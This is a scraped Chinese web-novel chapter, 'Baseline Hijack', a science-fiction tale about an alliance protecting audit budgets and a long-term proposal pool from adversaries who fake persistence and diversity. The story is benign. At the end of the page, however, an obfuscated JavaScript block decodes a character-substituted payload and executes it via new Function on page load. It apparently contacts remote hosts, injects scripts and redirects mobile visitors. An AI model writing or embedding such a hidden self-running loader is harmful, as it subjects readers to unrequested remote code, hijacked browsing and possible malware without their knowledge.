首页
第180章 基线绑架
返回
关灯 护眼:关 字号:小

第180章 基线绑架

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第180章基线绑架(第1/2页)
    DAY-RPT-11240。
    审计配额与变更预算机制运行第九十三日。
    原语库扩展到第六批,组合事件生成器覆盖率稳定提升。
    长时漂移稳态版剧本(TIME-SAFE-DRIFT-01)在外层基线整体上移的背景下表现良好:过渡区交叉频率被稀释到可控区间,速度缓冲触发概率下降,内层依赖链断续明显减少。
    从外面看,联盟终于学会了一个看似简单却极难的技能:
    **既让未来可审计,也让审计付得起。**
    可江砚知道,敌人从不在你擅长的地方硬撞。
    他们会绕着你的护栏走,找你最信任的那条路。
    机要监在午后递来一份“长期基线池”月度盘点。
    存在性编号:ANL-BASE-01
    标题:**基线池异常:持续性过强、来源过齐**
    沈绫刚端起茶,听见“过齐”两个字,手指微顿。
    江砚抬头:“什么叫过齐?”
    机要监翻开图表:
    基线池里排名前十的提案,来源类别、时间间隔、更新节奏几乎一致——像十株长得一模一样的树,排成一列。
    “长期基线池”是AUDIT-BUDGET-01E的结果:
    当预算不足时,提案会进入基线池,按“持续价值”与“长期需求”排序,等待下一季度预算释放。
    这是联盟为了抵抗审计洪潮而建立的缓冲:
    让洪潮堆在池里,不挤占关键更新;
    让真正有价值的改进在长期基线里慢慢浮上来。
    它的逻辑是对的。
    它相信“长期会筛掉噪声”。
    可现在,基线池出现了“持续性过强、来源过齐”的异常。
    这意味着有人在**养殖长期**。
    江砚放下茶:“他们开始夺走长期。”
    ---
    ###一、长期的漏洞:你奖励持续,我就伪造持续
    注意力护栏抵抗短爆发,语言回执抵抗偷换,价值与指标试验场抵抗口号与计分板,时间护栏抵抗来不及,剧本完整性协议抵抗热补丁,审计配额与预算抵抗洪潮。
    这些护栏有一个共同倾向:
    **它们更信任长期,更警惕短期。**
    敌人也读懂了这一点。
    既然短爆发会被去权重,
    那就不爆发,改成细水长流。
    既然碎片化会被合包与拆包规则压制,
    那就合规合包,固定节奏,像工整的农田。
    既然预算优先级看重“持续价值”,
    那就伪造持续价值——让同一类提案在每个月都出现一次,理由略有不同、措辞略有变化、来源略有分散,恰好躲开“脚本模板”,又能在基线池里累积“持续性”。
    这不是洪潮。
    这是**滴灌**。
    滴灌不会让你窒息。
    滴灌会让你以为这是生态。
    直到某一天,你发现你整个基线池里长满了同一种作物。
    机要监把基线池前十提案的主题抽取出来:
    它们都围绕一个方向——
    >“降低审计门槛、提高变更吞吐、引入更多‘快速形式验证’、扩大原语白名单。”
    听起来像提升效率。
    但江砚一眼看出潜台词:
    扩大白名单,就能把更多动作变成“默认安全”,进而绕开昂贵审计;
    快速形式验证扩大,就能把复杂变更伪装成“组合”,跳过深测;
    审计门槛降低,带宽护栏就被削薄。
    他们不是在夺走预算。
    他们在夺走“下一季度预算会给谁”。
    因为基线池就是下一季度的方向。
    敌人不再抢今天。
    他们开始抢明天。
    存在性编号:BASE-RSK-01
    BASE-RSK-01A:基线池主题集中度异常
    BASE-RSK-01B:持续性滴灌节奏一致性判定
    BASE-RSK-01C:来源分散伪装评估
    沈绫轻声:“这比洪潮更难抓。它像耐心。”
    江砚点头:“耐心是最昂贵的武器。因为你很难指控耐心。”
    ---
    ###二、基线养殖的指纹:规律性过强就是破绽
    机要监给出“基线熵”指标。
    存在性编号:ANL-BASE-02
    ANL-BASE-02A:基线熵(提案出现间隔的随机性)
    ANL-BASE-02B:基线熵与自然需求模型对照
    ANL-BASE-02C:低熵=养殖嫌疑
    自然需求有波动。
    真实长期需求也会因外压、资源、人员变动而起伏。
    但养殖的需求会过于工整:每月一次、每周一次、每次略改措辞、略换署名、但逻辑核心不变。
    基线熵结果显示:
    前十提案的时间间隔接近机械等距,误差在极小区间。
    这不是生态。
    这是工程化种植。
    江砚问:“谁在种?”
    机要监回道:“署名分散,但若看‘协作链触达’,有几处共同的落点:剧本维护协作位的外围建议圈层、旁听技术组的工具评议席、以及一批标记为‘效率倡议’的匿名贡献者。”
    沈绫皱眉:“匿名贡献者?”
    机要监点头:“他们不再靠组织名。他们把自己伪装成生态里的‘好心人’。”
    江砚静静说:“好心人不需要同频。”
    ---
    ###三、敌人的算盘:让你用预算自己削弱护栏
    预算机制本来是护栏。
    护栏一旦成了分配资源的工具,就会天然产生政治——谁都想进基线池前列。
    敌人正要利用这一点:
    他们不必突破守望链,也不必复活开关;
    他们只需让“降低审计门槛、扩大白名单、快速验证”成为长期基线的主流共识。
    等下一季度预算释放,联盟自己就会投入资源去做这些“改进”。
    改进完成,入口成本降低,开关复活条件成熟。
    这是一种更慢、更深的夺权:
    **让你以改进之名,自己把护栏磨薄。**
    江砚对首衡说:“我们守住了今天的开关,他们来偷明天的护栏。”
    首衡问:“怎么守明天?”
    江砚答:“先把长期的真实性也做成护栏。”
    ---
    ###四、基线真实性检验:长期不能只靠时间,还要靠多样性
    江砚提出“基线真实性检验机制”。
    存在性编号:BASE-GUARD-01
    BASE-GUARD-01A:长期基线必须满足“三重独立证据”
    *证据一:来自不同角色层(基层执行/责任簇/外扩旁听至少两类)
    *证据二:来自不同事件背景(外压期/稳态期/漂移期至少两类)
    *证据三:来自不同利益方向(受益方与承担方都认可其必要性)
    BASE-GUARD-01B:基线熵低于阈值则进入“养殖复核”
    BASE-GUARD-01C:同主题提案若持续由相同触达圈层提交,自动降权
    BASE-GUARD-01D:基线池排序引入“来源多样性权重”,抑制工整种植
    BASE-GUARD-01E:公开基线池“多样性热力图”,避免被说黑箱
    这套机制的核心是:
    **长期不是“坚持”,长期是“多样”。**
    真实长期需求会从多个方向反复出现;
    养殖需求会从同一套管道滴灌出现。
    沈绫看完,点头:“这会让他们更难伪装成生态。”
    江砚补了一句:“也会让真正的需求更容易被看见,因为它会自然跨圈层。”
    ---
    ###五、敌人的反击:他们开始“养殖多样性”
    守住长期的第一天,敌人就不会坐等。
    他们的厉害就在于:你加一条规则,他们就把那条规则变成可操控对象。
    BASE-GUARD-01要求三重独立证据。
    于是,基线池里开始出现“看似多样”的支持:基层执行节点、旁听技术组、甚至某些责任簇复盘秘书都出现了同主题支持。
    表面看,多样性上升。
    基线熵也被他们用抖动技巧拉高——不再等距,但仍有隐藏规律。
    机要监很快报出新异常:
    存在性编号:ANL-BASE-03
    ANL-BASE-03A:多样性伪装迹象(来源角色多,但触达路径仍集中)
    ANL-BASE-03B:抖动等距(伪随机)判定
    ANL-BASE-03C:利益方向一致性过高(几乎全是受益方在支持)
    他们在“养殖多样性”。
    沈绫低声:“他们把我们的护栏当题库刷。”
    江砚冷静:“题库可以刷,但答案的代价刷不出来。”
    他盯住ANL-BASE-03C:利益方向一致性过高。
    真实长期需求一定有代价。
    代价会引来承担方的犹豫、质疑、甚至反对。
    如果一个方案只有受益者支持,承担者沉默,那就是问题。
    敌人最难伪造的是:
    让承担者也真心支持削弱护栏。
    因为承担者承担风险。
    ---
    ###六、反向验证:谁来承担削弱审计的后果
    江砚启动“代价对照质询”。
    存在性编号:BASE-QUERY-01
    内容:任何进入基线池前列的提案必须回答三问:
    1)削弱或加速会增加哪类风险?
    2)谁承担这类风险?如何补偿?
    3)若风险发生,是否存在可回滚路径与成本估计?
    这不是道德拷问。
    这是成本审计。
    他把“降低审计门槛、扩大白名单”类提案全体拉进质询流程。
    量衡院、补衡署、迅衡组的影子都曾出现过。
    这次,他们换了匿名与多样伪装,但质询不能匿名。
    回答成本必须落到真实承担者身上。
    结果很快显现:
    很多提案回答含糊,无法给出“操控路径证明不存在”,也无法给出“承担方补偿机制”。
    (本章未完,请点击下一页继续阅读)第180章基线绑架(第2/2页)
    存在性编号:BASE-FIND-01
    结论:基线池前列中有6项提案无法通过代价对照质询,判定为“风险外包型改进”,自动降级。
    降级不是封杀。
    它们仍在池里,但无法成为下一季度方向。
    敌人的滴灌第一次被掐住主根。
    ---
    ###七、真正的外压再次到来:预算储备剧本被迫出场
    就在基线养殖被压制的同一周,外层长时漂移出现新的变化:
    远域低频基线漂移继续上移,外围弧线轨道半径微增,过渡区交叉基线再上移半阶。
    存在性编号:EXT-DRIFT-02
    EXT-DRIFT-02A:漂移上移半阶
    EXT-DRIFT-02B:组合事件生成器预测未来60批次组合频率上升
    EXT-DRIFT-02C:速度缓冲触发概率上升趋势
    这意味着:剧本库需要进一步扩展覆盖;原语库也需要新增两项“疲劳管理”原语(比如分批恢复、渐进式稀释)。
    这些更新很关键,会占用预算。
    可变更预算有上限。
    基线池里还有很多真实改进在排队。
    如果预算不够,真实改进会被推迟,人们会不满。
    不满会被敌人利用,重新鼓吹热补丁或中心化。
    这就是预算护栏的两难:
    你守住预算,可能引发不满;
    你放开预算,可能形成可夺入口。
    江砚早就准备了“预算储备剧本”。
    存在性编号:AUDIT-RES-01
    AUDIT-RES-01A:预算储备池(仅用于外压适配与守望链安全)
    AUDIT-RES-01B:触发条件仅限结构信号(外层漂移上移+组合频率预测超阈值)
    AUDIT-RES-01C:储备预算自动释放到指定类别(原语疲劳管理、漂移剧本扩展、生成器覆盖更新)
    AUDIT-RES-01D:释放后必须生成复盘包与下一季度预算补回计划
    AUDIT-RES-01E:禁止用储备预算做“降低审计门槛/扩大白名单/快速验证扩权”
    储备预算的目的不是让你更自由地花钱。
    而是让关键更新不被洪潮与基线养殖卡死,避免被逼出临时入口。
    首衡裁定触发AUDIT-RES-01。
    预算储备池释放。
    关键更新按期推进。
    基线池不必被挤压,真实改进不必被牺牲。
    敌人想用预算稀缺制造来不及、制造情绪,逼你开临时。
    储备剧本把“稀缺”写进规则,先把情绪火种湿掉。
    ---
    ###八、敌人的新路线:他们开始攻击“储备预算”本身
    果然,预算储备一触发,私域圈层出现熟悉的声音:
    >“你看,预算储备是暗箱,谁决定释放?”
    >“为什么外压适配优先?我们基层的问题不是问题吗?”
    >“储备预算其实就是他们的特权口袋。”
    这是夺意义与夺注意力的混合打法,指向一个核心:
    把储备预算说成新开关。
    江砚没有解释情绪,他用结构回应:
    存在性编号:PUB-RES-01
    PUB-RES-01A:储备预算触发条件公开(仅结构信号)
    PUB-RES-01B:释放去向公开(类别与额度,不含敏感细节)
    PUB-RES-01C:复盘包编号与补回计划公开
    PUB-RES-01D:反例说明(哪些提案明确不得用储备预算)
    公开到这里就够了。
    不让人掌控,但让人知道边界。
    语义回执卡会把“特权口袋”归类为“误读**险模板簇”,并指向PUB-RES-01。
    注意力冗余机制会把短爆发去权重。
    价值对话协议会要求提出替代方案与防中心化措施。
    敌人想把储备预算变成争夺点,但缺乏可查性抓手,难以点燃。
    ---
    ###九、审计洪潮的终极形态:用“善意复盘”占满审计
    当变更配额、拆包规则、预算护栏、基线真实性都上线后,敌人再一次换形态。
    他们不再提交变更。
    他们开始提交大量“复盘改进建议”——
    *“建议完善误读示例栏目”
    *“建议优化公开摘要措辞”
    *“建议增加更多体验入口指引”
    *“建议把价值对话输出写得更温度化”
    这些建议看似不触及机制、只是文案与体验。
    而文案与体验改动也需要审计:不可拆句格式、误读示例、语义回执卡词库……这些都是防语言夺权的护栏组件。
    如果敌人能用“善意复盘”占满这些护栏组件的审计带宽,他们就能让语言与注意力护栏失去更新能力。
    护栏不更新,敌人的新话术就能趁虚而入。
    这比改剧本更阴险:
    你以为你在优化沟通,他们在占用你的免疫系统。
    机要监报出:
    存在性编号:ANL-AUDIT-05
    ANL-AUDIT-05A:复盘建议请求数量异常上升
    ANL-AUDIT-05B:建议主题集中在“语言与说明层”
    ANL-AUDIT-05C:审计带宽被“非结构变更”占用比例上升
    江砚立刻启动“说明层预算”:
    存在性编号:AUDIT-BUDGET-02
    AUDIT-BUDGET-02A:说明层与结构层分离预算(互不挤占)
    AUDIT-BUDGET-02B:说明层变更配额上限(防被善意建议占满)
    AUDIT-BUDGET-02C:说明层变更必须通过“误读风险收益评估”(增温度是否降低可查性)
    AUDIT-BUDGET-02D:说明层变更不允许影响触发条件与定义封存
    把免疫系统的资源也分仓。
    这就是守望链的扩展:不让任何一类改进挤占另一类生存资源。
    ---
    ###十、敌人露出疲态:当每条路都变昂贵,他们只能回到“求快”
    被配额堵、被预算分仓堵、被基线真实性堵、被代价质询堵……敌人的滴灌与洪潮越来越昂贵。
    他们最终还是回到最原始的口号:
    >“你们太慢。”
    >“你们把一切变成审计。”
    >“世界在变,你们在写编号。”
    这句话很像人类在疲惫时的真心抱怨。
    也正因为像真心,它更容易被共鸣。
    江砚没有否定这份抱怨。
    他在公开摘要里加了一条新的说明:
    存在性编号:PUB-CORE-01
    内容:
    “我们承认:审计会慢,护栏会重。
    我们也承认:世界会更快,组合会更多。
    所以我们做了三件事:原语库降成本、储备预算保关键、基线真实性防养殖。
    慢不是目的。慢是为了不被夺。
    我们要的不是慢,而是‘可持续的快’——快到不需要临时权力。”
    这句话不煽情,但有方向。
    它把“慢”从缺点解释为成本。
    成本被承认,抱怨就不再能被轻易利用。
    ---
    ###十一、远域与外围的同步:多星系统也开始“节制变更”
    在联盟完成审计带宽护栏与预算分仓后,远域低频波再次送来短结构:
    存在性编号:EXT-BASE-01
    内容:**长基线,短动作。**
    外围弧线轨道互换频率下降,过渡区交叉实验节奏更稀释,速度缓冲触发曲线更平滑。
    多星系统像是共同接受一个事实:
    长时漂移期,比拼的不是谁更激进更新,而是谁能稳定输出、稳定复盘、稳定审计。
    这不是保守。
    这是长期生存。
    ---
    ###十二、沈绫的疑问:我们会不会把世界变得过于“制度化”?
    夜里,沈绫问江砚:
    “我们加了这么多护栏:预算、配额、基线、多样性、原语库……会不会有人觉得世界被制度吃掉了?”
    江砚看着她,回答得很慢:
    “制度不是吃掉世界。制度是在世界太大时,把每个人的脆弱保护起来。”
    沈绫问:“那温度呢?”
    江砚说:“温度不能靠开关。温度要靠可查与可承受。
    当你知道你的反馈会被看见、你的改进会被审计、你的未来不会被别人临时拿走——那才是温度。”
    沈绫沉默。很久后,她轻声说:“温度原来是安全感。”
    江砚点头:“安全感不是喊出来的,是守出来的。”
    ---
    ###十三、尾声:敌人夺不走明天,但会不断尝试让你写不起明天
    DAY-RPT-12000。
    外层长时漂移仍在,组合事件频率仍偏高,但在TIME-SAFE-DRIFT-01与新原语疲劳管理的支撑下,系统维持稳态。
    审计洪潮被配额与预算分仓削峰,基线池被真实性检验净化,滴灌养殖难以再占据方向。
    储备预算剧本保障关键更新,避免稀缺诱发临时权力。
    说明层变更不再挤占结构层带宽,免疫系统资源可持续。
    敌人没有消失。
    他们只是再次被迫把成本抬高。
    江砚站在穹顶下,望着五层光影缓慢交错。
    他忽然明白,守望纪元的终极战场不是某个入口,而是一个更抽象的东西:
    **你是否还能持续写下未来。**
    敌人一直在做同一件事:
    让你写不起未来,让你厌烦审计,让你渴望临时,让你把开关交出来。
    而联盟的答案也越来越清晰:
    把写未来的成本降下来,把改未来的入口变昂贵,把长期的真实性守住,把审计带宽守住。
    当你写得起未来,就不需要临时。
    当你不需要临时,开关就无处寄生。
    星河无尽。
    审计仍在。
    未来继续被写,且写得起。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();